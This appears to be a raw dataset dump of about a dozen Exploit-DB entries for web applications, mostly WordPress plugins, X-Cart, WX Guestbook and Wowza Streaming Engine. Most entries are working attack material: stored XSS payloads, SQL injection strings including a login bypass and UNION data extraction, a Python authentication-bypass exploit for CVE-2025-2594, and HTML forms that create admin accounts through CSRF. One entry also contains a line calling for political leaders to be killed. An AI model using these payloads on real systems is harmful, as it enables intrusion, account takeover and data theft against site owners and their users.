deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48919
Description: WordPress Plugin Colorbox Lightbox v1.1.1 - Persistent Cross-Site Scripting (Authenticated)
Type: webapps
Platform: multiple
Date: 2020-10-20
Author: n1x_

Exploit:
# Exploit Title: WordPress Plugin Colorbox Lightbox v1.1.1 - Persistent Cross-Site Scripting Vulnerability (Authenticated)
# Date: 10.8.2020.
# Exploit Author: n1x_ [MS-WEB]
# Software Homepage: https://wordpress.org/plugins/wp-colorbox/
# Software Link (v1.1.1): https://downloads.wordpress.org/plugin/wp-colorbox.1.1.1.zip 
# Product Version: 1.1.1

[Description]

# WordPress Colorbox plugin is a simple lightbox tool for WordPress. It allows users to pop up content in lightbox using the popular jQuery ColorBox library. 

# Due to improper input santitization of "hyperlink" field, of the plugin shortcode, version v1.1.1 (and possibly previous versions), are affected by a stored XSS vulnerability.

[Proof of Concept]

# 1. Authorization as user with privileges to write and publish posts
# 2. Injecting code into "hyperlink" field of the plugin shorthocode, and publishing the post
# 3. The code is stored on the post


[Example payloads]


# Example payload 1: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert(document.cookie)</script>"]

# Example payload 2: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert('sampletext')</script>"]

[Response]

...
<a class="wp-colorbox-youtube" href="http://www.youtube.com/embed/example"><script>alert('sampletext')</script></a>
...
Exploit-DB #36930
Description: WordPress Plugin Freshmail 1.5.8 - SQL Injection
Type: webapps
Platform: multiple
Date: 2015-05-07
Author: Felipe Molina

Exploit:
# Exploit Title: Unauthenticated SQL Injection on Wordpress Freshmail (#1)
# Google Dork: N/A
# Date: 05/05/2015
# Exploit Author: Felipe Molina de la Torre (@felmoltor)
# Vendor Homepage: *http://freshmail.com/ <http://freshmail.com/>
# Version: <= 1.5.8, Communicated and Fixed by the Vendor in 1.6
# Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turned off, Apache 2.4.0 (Ubuntu)
# CVE : N/A
# Category: webapps

1. Summary
------------------

Freshmail plugin is an email marketing plugin for wordpress, allowing the
administrator to create mail campaigns and keep track of them.

There is a unauthenticated SQL injection vulnerability in the "Subscribe to
our newsletter" formularies showed to the web visitors in the POST
parameter *fm_form_id. *

2. Vulnerability timeline
----------------------------------

- 04/05/2015: Identified in version 1.5.8 and contact the developer company
by twitter.
- 05/05/2015: Send the details by mail to developer.

- 05/05/2015: Response from the developer.
        - 06/05/2015: Fixed version in 1.6

3. Vulnerable code
---------------------------

Vulnerable File: include/wp_ajax_fm_form.php, lines 44 and 50

[...]
Line 28:  add_action('wp_ajax_fm_form', 'fm_form_ajax_func');
Line 29:  add_action('wp_ajax_nopriv_fm_form', 'fm_form_ajax_func');
[...]
Line 44: $result = $_POST;
[...]
Line 50: $form = $wpdb->get_row('select * from '.$wpdb->prefix.'fm_forms
where form_id="'.*$result['fm_form_id']*.'";');
[...]

3. Proof of concept
---------------------------

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <web>
X-Requested-With: XMLHttpRequest
[...]
Cookie: wordpress_f30[...]

form%5Bemail%5D=fake@fake.com&form%5Bimie%5D=asdf&fm_form_id=1" and
"a"="a&action=fm_form&fm_form_referer=%2F

4. Explanation
---------------------

A page visitor can submit an email (fake@fake.com) to subscribe to the
formulary with fm_form_id="1" and the JSON message received will be simil=
ar
to:

{"form":{"email":"fake@fake.com","imie":"asdf"},"fm_form_id":"*1*
","action":"fm_form","fm_form_referer":"\/?p=86","redirect":0,"status":"s=
uccess","message":"*Your
sign up request was successful! Please check your email inbox.*"}

The second time he tries to do the same with the same email the message
returned will be:

{"form":{"email":"fake@fake.com","imie":"asdf"},"fm_form_id":"*1*
","action":"fm_form","fm_form_referer":"\/?p=86","redirect":0,"status":"s=
uccess","message":"*Given
email address is already subscribed, thank you!*"}

If we insert *1**" and substr(user(),1,1)="a *we'll receive either the sa=
me
message  indicating that the Given email is already subscribed indicating
that the first character of the username is an "a" or a null message
indicating that the username first character is not an "a".

5. Solution
---------------

Update to version 1.6
Exploit-DB #49252
Description: WordPress Plugin Total Upkeep 1.14.9 - Database and Files Backup Download
Type: webapps
Platform: multiple
Date: 2020-12-14
Author: Wadeek

Exploit:
# Exploit Title: WordPress Plugin Total Upkeep 1.14.9 - Database and Files Backup Download
# Google Dork: intitle:("Index of" AND "wp-content/plugins/boldgrid-backup/=")
# Date: 2020-12-12
# Exploit Author: Wadeek
# Vendor Homepage: https://www.boldgrid.com/
# Software Link: https://downloads.wordpress.org/plugin/boldgrid-backup.1.14.9.zip
# Version: 1.14.9
# Tested on: BackBox Linux

1) 'readme.txt' file reveal the plugin version :
-> GET /wp-content/plugins/boldgrid-backup/readme.txt
Stable tag: 1.14.9

2) 'env-info.php' file reveals the following informations without authentication :
-> GET /wp-content/plugins/boldgrid-backup/cli/env-info.php
{
    [...],
    "php_uname":"Linux wordpress-server X.X.X-XX-generic #XX-Ubuntu [...] x=
86_64",
    "php_version":"7.X.X",
    "server_addr":"127.0.0.1",
    "server_name":"www.example.com",
    "server_protocol":"HTTP/1.1",
    "server_software":"Apache/2.X.XX (Ubuntu)",
    "uid":XX,
    "username":"www-data"
}

3) 'restore-info.json' file reveals the name and location of the archive containing the backups without authentication :
-> GET /wp-content/plugins/boldgrid-backup/cron/restore-info.json
{
    [...]
    "filepath":"/wp-content/boldgrid_backup_[RANDOM]/boldgrid-backup-www.example.com_wordpress-[RANDOM]-[DATE]-XXXXXX.zip"
    [...]
}
--trekuen-71b82944-04b2-40f7-b2e2-d8de1b7f2bb8--
Exploit-DB #33937
Description: WordPress Plugin TYPO3 't3m_cumulus_tagcloud' Extension 1.0 - HTML Injection / Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-05-05
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/39926/info


TYPO3 't3m_cumulus_tagcloud' extension is prone to HTML-injection and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage the issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

TYPO3 't3m_cumulus_tagcloud' version 1.0 is affected; other versions may be vulnerable as well. 

Example URIs are available:

http://www.example.com/modules/mod_joomulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E

http://www.example.com/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='http://websecurity.com.ua'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E
Exploit-DB #52302
Description: WordPress User Registration & Membership Plugin 4.1.2 - Authentication Bypass
Type: webapps
Platform: multiple
Date: 2025-05-25
Author: Mohammed Idrees Banyamer

Exploit:
#!/usr/bin/env python3
# Exploit Title: WordPress User Registration & Membership Plugin 4.1.2 - Authentication Bypass
# Date: 2025-05-22
# Exploit Author: Mohammed Idrees Banyamer
# Vendor Homepage: https://wordpress.org/plugins/user-registration/
# Software Link: https://downloads.wordpress.org/plugin/user-registration.4.1.2.zip
# Version: <= 4.1.2
# Tested on: WordPress 6.x, Apache on Linux
# CVE: CVE-2025-2594

import requests
import sys
import argparse
from urllib.parse import urljoin
from termcolor import cprint, colored

def banner():
    cprint("┌──────────────────────────────────────────────┐", "cyan")
    cprint("│ WordPress Plugin User Registration <= 4.1.2   │", "cyan")
    cprint("│ Authentication Bypass Exploit (CVE-2025-2594)│", "cyan")
    cprint("│ Author: Mohammed Idrees Banyamer             │", "cyan")
    cprint("└──────────────────────────────────────────────┘", "cyan")

def exploit(target_url, member_id, nonce):
    endpoint = urljoin(target_url, "/wp-admin/admin-ajax.php")

    files = {
        'action': (None, 'user_registration_membership_confirm_payment'),
        'security': (None, nonce),
        'form_response': (None, '{"auto_login": true}'),
        'member_id': (None, str(member_id))
    }

    cprint(f"[+] Target URL: {endpoint}", "yellow")
    cprint(f"[+] Attempting to bypass authentication as user ID {member_id}...\n", "yellow")

    try:
        response = requests.post(endpoint, files=files, timeout=10)

        if response.status_code == 200 and '"success":true' in response.text:
            cprint("[✓] Exploit successful! Authentication bypass achieved.", "green")
            cprint("[!] Check your session/cookies - you may now be authenticated as the target user.\n", "green")
            print("Server Response:")
            print(response.text)
        else:
            cprint("[-] Exploit failed or invalid nonce/member_id.", "red")
            print("Server Response:")
            print(response.text)
    except requests.exceptions.RequestException as e:
        cprint(f"[!] Request failed: {e}", "red")

def main():
    banner()

    parser = argparse.ArgumentParser(description="CVE-2025-2594 - WordPress Plugin Authentication Bypass")
    parser.add_argument("target", help="Base target URL (e.g., http://localhost)")
    parser.add_argument("member_id", help="Target user ID (usually 1 for admin)")
    parser.add_argument("nonce", help="_confirm_payment_nonce value from registration page")

    args = parser.parse_args()

    exploit(args.target, args.member_id, args.nonce)

if __name__ == "__main__":
    main()
Exploit-DB #37573
Description: Worksforweb iAuto - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities
Type: webapps
Platform: multiple
Date: 2012-08-06
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/54812/info

Worksforweb iAuto is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. 

Review:  Add Comments - Listing

<div class="addComment">
<h1>Reply to The Comment</h1>
<div class="pageDescription">
<div class="commentInfo">You are replying to the comment 
#"><iframe src="iAuto%20%20%20Listing%20Comments%20Reply%20to%20The%20Comment-Dateien/[PERSISTENT INJECTED CODE!])' 
<="" to="" 
listing="" #448="" "<span="" class="fieldValue fieldValueYear" height="900" width="1000">2007</span>
<span class="fieldValue fieldValueMake">Acura</span> 



1.2
The client side cross site scripting vulnerabilities can be exploited by remote attackers with medium or highr equired 
user inter action.
Fo demonstration or reproduce ...

String: "><iframe src=http://vuln-lab.com width=1000 height=900 onload=alert("VulnerabilityLab") <

Dealer > Search Sellers > City

PoC:
http://www.example.com/iAuto/m/users/search/?DealershipName[equal]=jamaikan-hope23&City[equal]=%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com+
width%3D1000+height%3D900+onload%3Dalert%28%22VulnerabilityLab%22%29+%3C&State[equal]=11&action=search


Browse by Make and Model / AC Cobra / >

PoC:
http://www.example.com/iAuto/m/browse-by-make-model/AC+Cobra/%22%3E%3Ciframe%20src=http://vuln-lab.com%20
width=1000%20height=900%20onload=alert%28%22VulnerabilityLab%22%29%20%3C/


Comments > Reply to The Comment > Topic & Text (commentSid)

PoC:
http://www.example.com/iAuto/m/comment/add/?listingSid=448&commentSid=%22%3E%3Ciframe%20src=http://vuln-lab.com%20width=1000
%20height=900%20onload=alert%28%22VulnerabilityLab%22%29%20%3C&returnBackUri=%2Flisting%2Fcomments%2F448%2F%3F
Exploit-DB #40134
Description: Wowza Streaming Engine 4.5.0 - Cross-Site Request Forgery (Add Advanced Admin)
Type: webapps
Platform: multiple
Date: 2016-07-20
Author: LiquidWorm

Exploit:
<!--
﻿Wowza Streaming Engine 4.5.0 CSRF Add Advanced Admin Exploit


Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP

Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: Winstone Servlet Engine v1.0.5
           Servlet/2.5 (Winstone/1.0.5)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5341
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5341.php


03.07.2016

--
-->

<html>
  <body>
    <form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST">
      <input type="hidden" name="version" value="0" />
      <input type="hidden" name="action" value="new" />
      <input type="hidden" name="userName" value="thricer" />
      <input type="hidden" name="userPassword" value="123123" />
      <input type="hidden" name="userPassword2" value="123123" />
      <input type="hidden" name="accessLevel" value="admin" />
      <input type="hidden" name="advUser" value="true" />
      <input type="hidden" name="&#95;advUser" value="on" />
      <input type="hidden" name="ignoreWarnings" value="false" />
      <input type="submit" value="Execute" />
    </form>
  </body>
</html>
Exploit-DB #40133
Description: Wowza Streaming Engine 4.5.0 - Remote Privilege Escalation
Type: webapps
Platform: multiple
Date: 2016-07-20
Author: LiquidWorm

Exploit:
<!--
Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit


Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP

Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.

Desc: The application suffers from a privilege escalation issue. Normal
user (read-only) can elevate his/her privileges by sending a POST request
seting the parameter 'accessLevel' to 'admin' gaining admin rights and/or
setting the parameter 'advUser' to 'true' and '_advUser' to 'on' gaining
advanced admin rights.

Advanced Admin:
 Allow access to advanced properties and features
 Only for expert Wowza Streaming Engine users.

Tested on: Winstone Servlet Engine v1.0.5
           Servlet/2.5 (Winstone/1.0.5)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5340
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5340.php


03.07.2016

--


Privilege escalation from existing read-only user to admin(advanced):
-->

<html>
  <body>
    <form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST">
      <input type="hidden" name="version" value="0" />
      <input type="hidden" name="action" value="quickEdit" />
      <input type="hidden" name="userName" value="usermuser" />
      <input type="hidden" name="userPassword" value="" />
      <input type="hidden" name="userPassword2" value="" />
      <input type="hidden" name="accessLevel" value="admin" />
      <input type="hidden" name="advUser" value="true" />
      <input type="hidden" name="&#95;advUser" value="on" />
      <input type="hidden" name="ignoreWarnings" value="false" />
      <input type="submit" value="God mode" />
    </form>
  </body>
</html>
Exploit-DB #52368
Description: WP Publications WordPress Plugin 1.2 - Stored XSS
Type: webapps
Platform: multiple
Date: 2025-07-16
Author: Zeynalxan Quliyev

Exploit:
# Exploit Title: WP Publications WordPress Plugin 1.2 - Stored XSS
# Google Dork: inurl:/wp-content/plugins/wp-publications/
# Date: 2025-07-15
# Exploit Author: Zeynalxan Quliyev
# Vendor Homepage: https://wordpress.org/plugins/wp-publications/
# Software Link: https://downloads.wordpress.org/plugin/wp-publications.1.2.zip
# Version: <= 1.2
# Tested on: WordPress 6.5.3 / Linux (Apache)
# CVE: CVE-2024-11605

## Vulnerability Details

The WP Publications plugin for WordPress (versions <= 1.2) is vulnerable to a **Stored Cross-Site Scripting (XSS)** attack. The vulnerability exists because the plugin fails to escape filenames before outputting them in the HTML, allowing high-privileged users (such as admins) to inject arbitrary JavaScript code.

This vulnerability is exploitable even in WordPress configurations where the `unfiltered_html` capability is disabled (e.g., multisite setups).

---

## Proof of Concept (PoC)

1. SSH into the server and navigate to the plugin directory:
   ```bash
   cd /var/www/html/wp-content/plugins/wp-publications/
   ```

2. Run the following command to create a malicious BibTeX file:
   ```bash
   touch "<img src=x onerror=alert('XSS')>.bib"
   ```

3. Access the plugin's BibTeX browser via the following URL:
   ```
   https://example.com/wp-content/plugins/wp-publications/bibtexbrowser.php?frameset&bib=
   ```

4. The injected JavaScript will be executed, triggering the XSS payload:
   ```javascript
   alert('XSS');
   ```

---

## Impact

* Stored XSS (JavaScript) is executed in the context of the admin panel.
* Bypasses `unfiltered_html` protection in multisite environments.
* Can be used for privilege escalation, cookie theft, or injecting malicious content.

---

## Recommendation

Update to a version of the plugin that properly escapes file names before rendering them in the output. If no update is available, disable the plugin or sanitize file inputs manually.

---

## References

* [CVE-2024-11605 on NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-11605)
* [WP Plugin Page](https://wordpress.org/plugins/wp-publications/)
Exploit-DB #9730
Description: WX Guestbook 1.1.208 - SQL Injection / Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2009-09-21
Author: learn3r

Exploit:
###########################################
#	WX Guest Book 1.1.208 Vulns	  #
#	By learn3r hacker from nepal	  #
#	damagicalhacker@gmail.com	  #
###########################################

Product name: WX Guestbook 1.1.208
Product vendor: www.webilix.com

This product suffers from multiple SQLi and persistent XSS vuln.

##############  SQL Search Vuln  ###############

The search parameters/queries we submit to the search.php are unsanitized and hence this can be compromised to SQLinject the server.

SQL query:
$signs = DB_Execute("SELECT * FROM `wxgb_signs` WHERE (`sign` LIKE '%" . $QUERY . "%') ORDER BY `code` DESC");

The $QUERY is what we submit through search box so injecting this will sql inject the server.
The following is the sample sql injection example.


Sample search string: test%') UNION ALL SELECT 1,2,concat(@@version,0x3a,user(),database()),4,5,6,7,8,9,10,11,12/*

##############  SQL login bypass  ###############
The username and password fields are unsanitized and hence we can bypass the login systems.

Username: admin'))/*
[CREDENTIAL_REDACTED]  [or whatever]

Or

Username: ')) or 1=1/*
[CREDENTIAL_REDACTED]  [or whatever]

##############  Persistent XSS Vulns  ##############

In the name field (I suppose as I don't understand arabic), you can inject XSS...
<script>alert(String.fromCharCode(97));</script>
<script>location.replace("http://www.nepalihackerz.com.np")</script>

Greetz to: sToRm and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all...
FuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal
K!ll Parmananda Jha, Upendra Yadav and Vijay Gachhedhaar

By learn3r aka cyb3r lord
Nepali Hackerz Are Not Dead!!!

# milw0rm.com [2009-09-21]
Exploit-DB #11404
Description: X-Cart Pro 4.0.13 - SQL Injection
Type: webapps
Platform: multiple
Date: 2010-02-11
Author: s4squatch

Exploit:
X-Cart Pro v4.0.13 SQL Injection Proof of Concept

Discovered By:  s4squatch of SecureState R&D Team (www.securestate.com)

Discovered: Mon, 08 Sep 2008 20:29:07 GMT

Version:  4.0.13 obtained from www.website.com/README

 

Can't find reference to this old vuln elsewhere...

Ref's:

http://securitytracker.com/alerts/2005/May/1014077.html

https://www.securityfocus.com/bid/13817/exploit

 

 

Proof of Concept:

 

REQUEST:

========

POST /cart.php?mode=add HTTP/1.1

Host: www.website.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: http://www.website.com/product.php?productid=16&cat=0&bestseller

Cookie: store_language=US; xid=51cac653f7b0dfc[PII_REDACTED]aa343f9

Content-Type: application/x-www-form-urlencoded

Content-Length: 206

 

product_options%5B142%5D=302&product_options%5B180%5D=353&amount=1&mode=add&productid=16%27&cat=0&page=

 

 

 

RESPONSE:

=========

HTTP/1.1 200 OK

Date: Mon, 08 Sep 2008 20:29:07 GMT

Server: Apache/2.0.46 (CentOS)

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Mon, 08 Sep 2008 20:29:07 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: xid=51cac653f7b0dfc[PII_REDACTED]aa343f9; path=/

Set-Cookie: xid=51cac653f7b0dfc[PII_REDACTED]aa343f9; path=/; domain=subdomain.website.com

Set-Cookie: xid=51cac653f7b0dfc[PII_REDACTED]aa343f9; path=/; domain=subdomain.website.com

Set-Cookie: RefererCookie=http%3A//www.website.com/home.php; expires=Sat, 07-Mar-2009 20:29:07 GMT; path=/; domain=subdomain.website.com

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 502

 

<B><FONT COLOR=DARKRED>INVALID SQL: </FONT></B>1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<BR><B><FONT COLOR=DARKRED>SQL QUERY FAILURE:</FONT></B> SELECT * FROM xcart_products_lng WHERE code='US' AND productid=16\' <BR><BR><BR>If the page is not updated in a 5 seconds, please follow this link: <A href="cart.php">continue >></A><META http-equiv="Refresh" content="0;URL=cart.php">